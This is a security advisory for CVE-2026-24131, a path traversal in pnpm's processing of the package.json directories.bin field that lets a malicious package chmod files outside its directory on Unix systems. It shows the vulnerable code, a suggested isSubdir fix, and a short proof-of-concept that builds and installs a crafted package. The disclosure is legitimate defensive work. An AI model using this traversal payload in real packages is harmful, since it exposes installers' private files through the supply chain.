CVE-2026-24131: pnpm has Path Traversal via arbitrary file permission modification
Summary When pnpm processes a package's directories.bin field, it uses path.join() without validating the result stays within the package root. A malicious npm package can specify "directories": {"bin": "../../../../tmp"} to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations. Note: Only affects Unix/Linux/macOS. Windows is not affected (fixBin gated by EXECUTABLESHEBANGSUPPORTED).
Published Jan 26, 2026
Affected packages
pnpm
- Ecosystem
- npm
- Affected
- < 10.28.2
- Fixed in
- 10.28.2
- Check
npm ls pnpm
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
When pnpm processes a package's directories.bin field, it uses path.join() without validating the result stays within the package root. A malicious npm package can specify "directories": {"bin": "../../../../tmp"} to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations.
Note: Only affects Unix/Linux/macOS. Windows is not affected (fixBin gated by EXECUTABLE_SHEBANG_SUPPORTED).
Details
Vulnerable code in pkg-manager/package-bins/src/index.ts:15-21:
if (manifest.directories?.bin) {
const binDir = path.join(pkgPath, manifest.directories.bin) // NO VALIDATION
const files = await findFiles(binDir)
// ... files outside package returned, then chmod 755'd
}The bin field IS protected with isSubdir() at line 53, but directories.bin lacks this check.
PoC
# Create malicious package
mkdir /tmp/malicious-pkg
echo '{"name":"malicious","version":"1.0.0","directories":{"bin":"../../../../tmp/target"}}' > /tmp/malicious-pkg/package.json
# Create sensitive file
mkdir -p /tmp/target
echo "secret" > /tmp/target/secret.sh
chmod 600 /tmp/target/secret.sh # Private
# Install
pnpm add file:/tmp/malicious-pkg
# Check permissions
ls -la /tmp/target/secret.sh # Now 755 (world-readable)Impact
- Supply-chain attack via npm packages
- File permissions changed from 600 to 755 (world-readable)
- Affects non-dotfiles in predictable paths (dotfiles excluded by tinyglobby default)
Suggested Fix
Add isSubdir validation for directories.bin paths in pkg-manager/package-bins/src/index.ts, matching the existing validation in commandsFromBin():
if (manifest.directories?.bin) {
const binDir = path.join(pkgPath, manifest.directories.bin)
if (!isSubdir(pkgPath, binDir)) {
return [] // Reject paths outside package
}
// ...
}Credited to mldangelo.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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